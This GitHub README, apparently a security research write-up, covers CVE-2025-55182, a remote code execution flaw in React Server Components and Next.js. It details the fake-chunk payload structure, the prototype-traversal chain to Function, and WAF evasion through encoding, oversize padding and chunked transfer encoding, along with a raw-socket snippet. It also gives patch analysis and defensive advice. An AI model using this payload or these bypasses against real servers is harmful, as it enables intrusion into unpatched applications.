ejpir/CVE-2025-55182-research
GitHub: ejpir/CVE-2025-55182-research
CVE-2025-55182 漏洞的完整研究资料与 PoC,揭示 React Flight Protocol 中通过伪造 chunk 实现远程代码执行的攻击链及多种 WAF 绕过技术。
Stars: 794 | Forks: 204
# CVE-2025-55182 - React Server Components RCE
`注意:由 AI/Claude 编写`
https://github.com/ejpir/CVE-2025-55182-bypass
## TL;DR (简介)
CVE-2025-55182 是 React Flight Protocol 中的一个严重 RCE 漏洞。该攻击链通过 **路径遍历 (path traversal)** + **伪造 chunk 注入** + **$B handler 滥用** 来执行 `Function(attacker_code)`。
**特别感谢 [maple3142](https://gist.github.com/maple3142) 提供了可行的漏洞利用链!**
## 漏洞利用 (The Exploit)
### 攻击概述
该漏洞利用程序使用三个表单字段来构建恶意 payload:
1. 创建一个具有自引用 `then` 的 **伪造 chunk 对象** (字段 1 `$@0` → 字段 0)
2. 嵌入一个 **伪造的 `_response`**,其 `_formData.get` 设置为 `$1:constructor:constructor`
3. 触发 **`$B` handler**,它会调用 `response._formData.get(response._prefix + id)`
4. **路径遍历** 解析 `_formData.get` → `Function`,从而执行 `Function(code)`
### 利用流程
```
┌─────────────────────────────────────────────────────────────────────┐
│ 1. Attacker sends multipart form with fake chunk object │
│ → decodeReply() parses form fields 0, 1, 2 │
│ → Object has: then, status, value, _response │
└─────────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 2. Self-reference makes object thenable with real function │
│ → then: "$1:__proto__:then" → Chunk.prototype.then │
│ → Chunk.prototype.then(this) calls initializeModelChunk(this) │
│ → Uses this._response (attacker's fake _response) │
└─────────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 3. parseModelString() handles "$B1337" reference │
│ → case "B": return response._formData.get(response._prefix+id) │
│ → Calls _formData.get with attacker's _prefix + "1337" │
└─────────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 4. getOutlinedModel() resolves _formData.get (lazy evaluation): │
│ → "$1:constructor:constructor" traverses prototype chain │
│ → Returns Function constructor │
│ → Function(code + "1337") → RCE │
└─────────────────────────────────────────────────────────────────────┘
```
### 关键组件
| 组件 | 用途 |
|-----------|---------|
| `then: "$1:__proto__:then"` | 自引用 thenable;chunk 1 (`$@0`) 指回 chunk 0 |
| `status: "resolved_model"` | 使对象显示为有效的 React chunk |
| `reason: -1` | 将 rootReference 设置为 undefined (避免引用冲突) |
| `value: '{"then":"$B1337"}'` | 触发 `$B` handler 的嵌套 payload |
| `_response._prefix` | 包含 RCE 代码字符串 |
| `_response._chunks: "$Q2"` | 空 Map,防止 chunk 处理期间崩溃 |
| `_response._formData.get` | 通过 `$1:constructor:constructor` 指向 `Function` |
### 组件深入解析
#### 表单字段结构
该漏洞利用程序使用三个具有循环引用的表单字段:
```
Field 0: {"then":"$1:__proto__:then", "status":"resolved_model", ...}
Field 1: "$@0" ← references back to field 0
Field 2: [] ← empty array for _chunks Map
```
#### 自引用 Thenable (`then`)
`then: "$1:__proto__:then"` 创建了一个解析为 **真实函数** 的自引用:
```
$1:__proto__:then
↓
$1 → chunk 1 → "$@0" → getChunk(0) → Chunk object
↓
Chunk.__proto__.then → Chunk.prototype.then (actual function!)
```
**为什么这很关键:**
1. `then` 解析为 `Chunk.prototype.then` - 一个真实的可调用函数
2. 这使得伪造对象成为了一个有效的 thenable
3. 当被 await 时,JS 调用 `obj.then(resolve, reject)`
4. `Chunk.prototype.then` 以伪造对象作为 `this` 执行:
```
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) { // this.status = "resolved_model" ✓
case "resolved_model":
initializeModelChunk(this); // fake object passed!
```
5. `initializeModelChunk(this)` 使用 `this._response` - 攻击者伪造的 `_response`:
```
value = reviveModel(
chunk._response, // ← attacker's fake _response!
...
);
```
**如果没有自引用**,伪造的 `_response` 将永远不会被使用。自引用使得 `Chunk.prototype.then` 将攻击者的对象视为真实的 Chunk。
#### 两阶段 Thenable 触发 (`value`)
`value` 字段包含一个嵌套的 JSON 字符串,其中包含另一个 thenable:
```
{"then":"$B1337"}
```
**阶段 1:** 外部对象的通过自引用 `then` 触发 chunk 处理
**阶段 2:** 当 React 解析 model 时,它解析 `value` 并遇到另一个带有 `then: "$B1337"` 的 thenable。`$B` 前缀触发了 handler:
```
case "B":
return response._formData.get(response._prefix + obj); // obj = "1337"
```
`_formData.get` 是 `"$1:constructor:constructor"` → `getOutlinedModel()` 解析为 `Function`。
这变成了:`Function(code + "1337")` → 有效的 JS,因为 `1337` 只是一个尾随表达式。
#### 防御性填充 (`_chunks`)
伪造的 `_response` 需要一个有效的 `_chunks` 属性以防止崩溃:
```
Form field "2": [] ← empty array
_chunks: "$Q2" ← $Q = Map type, creates new Map([])
```
React 的内部代码可能会在处理期间访问 `response._chunks.get()` 或 `response._chunks.has()`。一个空的 Map 可以满足这些调用而不会出错,允许执行到达有漏洞的 `$B` handler。
## 易受攻击代码路径
| 路径 | 函数 | 在利用中的用途 |
|------|----------|-------------------|
| 路径遍历 | `getOutlinedModel()` | 解析 `$1:constructor:constructor` → `Function` |
| 伪造 `_response` 注入 | `initializeModelChunk()` | 使用攻击者的 `chunk._response` |
| `$B` Handler | `parseModelString()` | 调用 `_formData.get(_prefix + id)` → RCE |
`decodeReply()` 是入口点,其本身没有漏洞。
**路径遍历** (`getOutlinedModel()`):
```
for (key = 1; key < reference.length; key++)
parentObject = parentObject[reference[key]]; // No validation!
```
**伪造 Response 使用** (`initializeModelChunk()`):
```
value = reviveModel(
chunk._response, // Uses chunk._response directly!
{ "": rawModel },
...
);
```
**$B Handler RCE** (`parseModelString()`):
```
case "B":
return response._formData.get(response._prefix + obj); // RCE!
```
## 修复方案 (19.2.1)
该补丁包含多项修复:
1. **`initializeModelChunk()` 中的 `RESPONSE_SYMBOL`** - 关键修复
// 之前: chunk._response (攻击者可通过 JSON 设置)
value = reviveModel(chunk._response, ...);
// 之后: Symbol 查找 (无法通过 JSON 伪造)
var response = chunk.reason[RESPONSE_SYMBOL];
value = reviveModel(response, ...);
2. **`getOutlinedModel()` 中的 `hasOwnProperty` 检查** - 阻止原型遍历
hasOwnProperty.call(value, name) && (value = value[name]);
3. **`reviveModel()` 中的 `__proto__` 处理** - 防止原型污染
void 0 !== parentObj || "__proto__" === i
? (value[i] = parentObj)
: delete value[i];
4. **`initializeModelChunk()` 中的类型检查** - 验证监听器
"function" === typeof listener
? listener(value)
: fulfillReference(response, listener, value);
## 影响范围与版本
### 影响评估
| 能力 | 状态 | 备注 |
|------------|--------|-------|
| 原型链遍历 | ✓ 已确认 | 通过 `$1:constructor:constructor` |
| 访问 Function 构造函数 | ✓ 已确认 | 不需要 manifest |
| 完整 RCE | ✓ **已确认** | 通过伪造 chunk + $B handler |
### 受影响版本
- react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0
- react-server-dom-turbopack: 相同版本
- Next.js: 15.x, 16.x (补丁之前),以及 14.3.0-canary.77+ 的 canary 版本
### 已修复版本
- React: 19.0.1+, 19.1.2+, 19.2.1+
- Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7+
## 为什么基于签名的 WAF 检测会失败
本节解释了为什么传统的模式匹配 WAF 规则无法可靠地检测此漏洞利用。了解这些局限性对于评估防御态势的安全团队至关重要。
### 核心问题:多层的编码
漏洞利用 payload 经过多层解析器,每层支持不同的编码。检查原始 HTTP 字节的 WAF 看到的是编码后的字符串,但服务器在处理前会对其进行解码:
| 层 | 解析器 | 解码内容 |
|-------|--------|---------|
| JSON 结构 | `JSON.parse()` | `\uXXXX` unicode 转义 |
| JavaScript 代码 | `Function()` 构造函数 | `\uXXXX`, `\xXX`, 八进制, `fromCharCode()` |
这造成了一个根本性的不匹配:**WAF 看到的是编码后的字节,而应用程序看到的是解码后的字符串**。
### 签名需要匹配什么
一个简单的 WAF 可能会寻找像 `constructor`、`__proto__`、`resolved_model` 或 `child_process` 这样的模式。然而,JSON 允许对任何字符使用 unicode 转义:
| 字面模式 | Unicode 等效项 | WAF 检测 |
|-----------------|-------------------|---------------|
| `constructor` | `\u0063onstructor` | 绕过 |
| `__proto__` | `\u005f\u005fproto\u005f\u005f` | 绕过 |
| `resolved_model` | `\u0072esolved_model` | 绕过 |
| `$@` (循环引用) | `$\u0040` | 绕过 |
Payload 中的 JavaScript 代码有更多的编码选项:
| 模式 | 编码选项 |
|---------|-----------------|
| `process` | `\u0070rocess`, `String.fromCharCode(112,114,111,99,101,115,115)` |
| `child_process` | `\x63hild_process`, 数字字符代码, base64 |
| 任何标识符 | 括号表示法:`this[S(112,114,...)]`,其中 `S=String.fromCharCode` |
### 检测差距
当结合所有编码技术时:
- JSON 键变为 unicode 序列 (`\u0074\u0068\u0065\u006e` 代表 `then`)
- JS 标识符变为数字数组 (`S(99,104,105,108,100,95,...)` 代表 `child_process`)
- 原始 payload 不包含任何可识别的关键字
扫描 HTTP body 的 WAF 只能看到转义序列和数字——没有任何匹配传统攻击签名的内容。
### 这对防御者为何重要
1. **基于签名的规则提供虚假的安全感** - Payload 在未被检测到的情况下到达服务器
2. **编码是无限的** - 每个字符都可以以不同方式转义;正则表达式无法枚举所有变体
3. **攻击符合协议规范** - 所有编码都是符合规范的有效 JSON/JavaScript
### Header 检测注意事项
`Next-Action` header 用于标识 Server Action 请求。虽然 header 名称不能进行 unicode 编码(RFC 7230 要求 ASCII 令牌),但 WAF 和服务器之间的规范化差异会造成检测缺口:
| 变体 | 服务器行为 | WAF 风险 |
|---------|-----------------|----------|
| `next-action` (小写) | 接受 (HTTP 不区分大小写) | 如果 WAF 期望精确大小写则会漏报 |
| `Next-Action:\tx` (制表符) | 接受 (空白字符被规范化) | 如果 WAF 期望空格则会漏报 |
| `Next-Action: x` (空格) | 接受 | 不进行规范化则会漏报 |
### 防御建议
**打补丁是唯一可靠的缓解措施。** 由于编码的灵活性,WAF 规则无法全面阻止此攻击。
**所需版本:**
- React: 19.0.1+, 19.1.2+, 19.2.1+
- Next.js: 15.0.5+, 15.1.9+, 15.2.6+, 15.3.6+, 15.4.8+, 15.5.7+, 16.0.7+
**如果补丁延迟,请考虑:**
1. **匹配前解码** - WAF 必须在模式匹配之前解码 `\uXXXX`、`\xXX` 并规范化 `fromCharCode()` 调用
2. **结构性检测** - 查找包含 `_response`、`_prefix`、`_chunks` 或循环引用 (`$@0`) 的 JSON 结构
3. **Header 规范化** - 不区分大小写地匹配 `next-action` header 并去除空白字符
4. **阻止 Server Actions** - 如果不使用 Server Actions,请完全阻止带有 `Next-Action` header 的请求
5. **运行时监控** - 对带有动态字符串参数的 `Function()` 调用发出警报
**关键结论**:仅靠模式匹配无法抵御此类攻击。编码面太广,无法枚举。
## AWS WAF Body 检查限制绕过
即使有全面的 WAF 规则,AWS WAF 也有 **body 检查大小限制**,可以被利用。本节记录了使用超大 payload 测试的绕过技术。
### Body 检查限制
AWS WAF 仅检查请求 body 的一部分:
| 后端 | 默认限制 | 最大可配置 |
|---------|--------------|---------------------|
| ALB / AppSync | 8 KB | 8 KB |
| CloudFront / API Gateway | 16 KB | 64 KB |
| Amazon Cognito / App Runner | 16 KB | 64 KB |
### `OversizeHandling` 问题
WAF 规则指定如何处理超过检查限制的请求:
| 设置 | 行为 | 可利用? |
|---------|----------|--------------|
| `CONTINUE` | 检查可用字节,评估规则 | **是** - 限制之后的 payload 不被检查 |
| `MATCH` | 视为匹配 (阻止) | 否 - 阻止超大请求 |
`NO_MATCH` | 视为不匹配 | **是** - 直接通过 |
**如果您的 WAF 规则使用 `OversizeHandling: CONTINUE` (常见的默认值),绕过是轻而易举的。**
### 绕过策略:Payload 前填充
将无害的填充数据放在 exploit payload **之前**,使其落在检查窗口之外:
```
┌─────────────────────────────────────────────────────────────────┐
│ Multipart Form Body │
├─────────────────────────────────────────────────────────────────┤
│ [Field: padding] 65KB of 'A' characters │
│ ↑ WAF inspects first 8-64KB (sees only this) │
├─────────────────────────────────────────────────────────────────┤
│ [Field: 0] {"then":"$1:__proto__:then", ...} │
│ [Field: 1] "$@0" │
│ [Field: 2] [] │
│ ↑ Exploit payload - beyond WAF inspection limit │
└─────────────────────────────────────────────────────────────────┘
```
### 测试结果
所有超大 payload 均在 Next.js 上成功实现 RCE:
| 填充大小 | Body 总量 | Exploit 偏移量 | 结果 |
|--------------|------------|----------------|--------|
| 0 KB | 0.6 KB | 0.4 KB | ✅ RCE |
| 8 KB | 8.6 KB | 8.4 KB | ✅ RCE |
| 16 KB | 16.6 KB | 16.5 KB | ✅ RCE |
| 32 KB | 32.6 KB | 32.5 KB | ✅ RCE |
| 64 KB | 64.6 KB | 64.5 KB | ✅ RCE |
| 128 KB | 128.6 KB | 128.5 KB | ✅ RCE |
### 分块传输编码绕过
HTTP/1.1 分块传输编码将 body 分割成离散的块。如果 WAF 在重组**之前**检查块,则跨越块边界的模式将不匹配。
#### 工作原理
```
HTTP Request with Transfer-Encoding: chunked
17f\r\n ← Chunk 1 size (hex)
...Content-Disposition: form-data; name="1"\r\n\r\n"$
\r\n
7b\r\n ← Chunk 2 size (hex)
@0"\r\n------WebKitFormBoundary...
\r\n
0\r\n\r\n ← Terminator
```
**跨块分割的模式:**
```
Chunk 1 ends with: ..."$ ← WAF sees "$" alone (no match for \$\@)
Chunk 2 starts with: @0"... ← WAF sees "@" alone (no match for \$\@)
```
#### 测试的分块策略
| 策略 | 描述 | 结果 |
|----------|-------------|--------|
| 在 `$@` 处分割 | `"$` \| `@0"` | ✅ RCE |
| 10 字节分片 | Body 每 10 字节分割一次 | ✅ RCE |
| 5 字节分片 | Body 每 5 字节分割一次 | ✅ RCE |
| 在 `status` 处分割 | `sta` \| `tus` | ✅ RCE |
所有策略均成功实现 RCE - Next.js 能正确重组分块请求。
#### 原始套接字示例
```
const net = require('net');
const socket = new net.Socket();
socket.connect(3000, 'localhost', () => {
// Headers with chunked encoding
socket.write([
'POST / HTTP/1.1',
'Host: localhost:3000',
'Content-Type: multipart/form-data; boundary=----WebKit',
'Transfer-Encoding: chunked',
'Next-Action: test',
'', ''
].join('\r\n'));
// Chunk 1: everything up to and including "$
const chunk1 = '...payload ending with "$';
socket.write(`${chunk1.length.toString(16)}\r\n${chunk1}\r\n`);
// Chunk 2: "@0" and rest of payload
const chunk2 = '@0"\r\n...rest of payload';
socket.write(`${chunk2.length.toString(16)}\r\n${chunk2}\r\n`);
// Terminator
socket.write('0\r\n\r\n');
});
```
#### WAF 行为注意事项
| WAF 类型 | 分块处理 | 可能绕过? |
|----------|----------------|------------------|
| AWS WAF (ALB) | 检查前重组 | 不太可能 |
| AWS WAF (CloudFront) | 检查前重组 | 不太可能 |
| 某些旧版 WAF | 逐块检查 | **是** |
| Nginx ModSecurity | 可配置 | 取决于配置 |
**注意:** AWS WAF 通常在检查前重组分块 body。但是,这应针对每个环境进行验证,因为配置可能有所不同。
### 缓解建议
1. **将 `OversizeHandling` 更改为 `MATCH`**
"OversizeHandling": "MATCH"
当满足规则条件时,这将阻止任何超过检查限制的请求。
2. **增加 body 检查限制** (仅限 CloudFront/API Gateway)
在 web ACL 设置中配置最大 64KB,但这并不能完全防止绕过。
3. **添加基于大小的阻止规则**
阻止带有 `Next-Action` header 且超过合理大小 (例如 10KB) 的 POST 请求。
4. **修补应用程序** - 唯一完整的解决方案。
### 测试脚本
请参阅包含的测试脚本:
- `test-simple.cjs` - 基准非分块 payload 测试
- `test-oversize.cjs` - 测试 0-128KB 的填充大小
- `test-chunked-v2.cjs` - 在 `$@` 处分割的分块传输编码
- `test-chunked-bypass.cjs` - 多种分块策略 (5 字节、10 字节、模式分割)
**用法:**
```
# 启动易受攻击的 Next.js 服务器 (端口 3000)
cd nextjs-test && npm run dev
# 运行测试
node test-simple.cjs # Baseline
node test-oversize.cjs # Oversize body bypass
node test-chunked-v2.cjs # Chunked $@ split
node test-chunked-bypass.cjs # All chunking strategies
```
## 研究历程
### 漏洞:路径遍历
```
function getOutlinedModel(response, reference, parentObject, key, map) {
reference = reference.split(":");
var id = parseInt(reference[0], 16);
var parentObject = response.chunks[id];
// PATH TRAVERSAL - no hasOwnProperty check!
for (var key = 1; key < reference.length; key++)
parentObject = parentObject[reference[key]]; // VULNERABLE!
return map(response, parentObject);
}
```
使用 payload `"$1:constructor:constructor"`:
1. `chunk[1]["constructor"]` → `[Function: Object]`
2. `Object["constructor"]` → `[Function: Function]`
### 我们尝试过的受阻路径
虽然我们获得了 `Function`,但实现 RCE 需要使用受控参数调用它。以下路径均失败:
**1. Thenable 路径 (受阻)**
```
// Attempt: { then: Function }
// When awaited, V8 calls: Function(resolve, reject)
// resolve.toString() = "function () { [native code] }"
// Result: SyntaxError - invalid parameter name
```
**2. decodeAction 路径 (受阻)**
```
// decodeAction always appends formData:
// Function.bind(null, "code").bind(null, formData)()
// = Function("code", "[object FormData]")
// Result: SyntaxError - "[object FormData]" is not valid JS body
```
**3. Iterator 路径 (受阻)**
```
// Function.bind(null, code) needs TWO calls to execute
// React only calls iterator once
// Result: Returns bound function, doesn't execute
```
### 突破
maple3142 找到了缺失的一环:`$B` handler + 伪造 `_response` 链。通过自引用使 `then` 解析为 `Chunk.prototype.then`,伪造的 `_response` 被使用,从而实现 RCE。
## 关键发现
1. **`getOutlinedModel()` 漏洞是真实存在的** - 冒号分隔的路径允许原型链遍历
2. **Function 构造函数可访问** - `$1:constructor:constructor` 无需 serverManifest 即可工作
3. **RCE 是可实现的** - 通过精心制作带有受控 `_response` 的伪造 chunk:
- 自引用 `$1:__proto__:then` → `Chunk.prototype.then` 使伪造的 `_response` 被使用
- 伪造 chunk 结构模仿 React 内部的 Chunk 类
- `_response._formData.get` → `Function` 构造函数
- `_response._prefix` → 恶意代码字符串
- `$B` handler 触发 `Function(malicious_code)`
4. **修复是全面的** - 多重 `hasOwnProperty` 检查和类型验证
## 参考资料
- [maple3142's Gist](https://gist.github.com/maple3142) - RCE 链发现
- [React 安全公告](https://github.com/facebook/react/security/advisories)
- [Next.js CVE-2025-66478](https://nextjs.org/blog/cve-2025-66478)
- [msanft PoC](https://github.com/msanft/CVE-2025-55182)
- [react2shell.com](https://react2shell.com)
- [AWS WAF 规则](https://aws.amazon.com/security/security-bulletins/AWS-2025-030/)
## 免责声明
本仓库仅用于**教育和防御性安全研究**。该漏洞已被修补。请立即升级您的依赖项。
标签:Bybvass, CISA项目, CVE-2025-55182, Exploit, Flight Protocol, GNU通用公共许可证, MITM代理, Node.js, POC, RCE, React Server Components, Web安全, 原型链污染, 数据可视化, 编程工具, 网络安全, 自定义脚本, 自定义脚本, 蓝队分析, 路径遍历, 远程代码执行, 隐私保护, 零日漏洞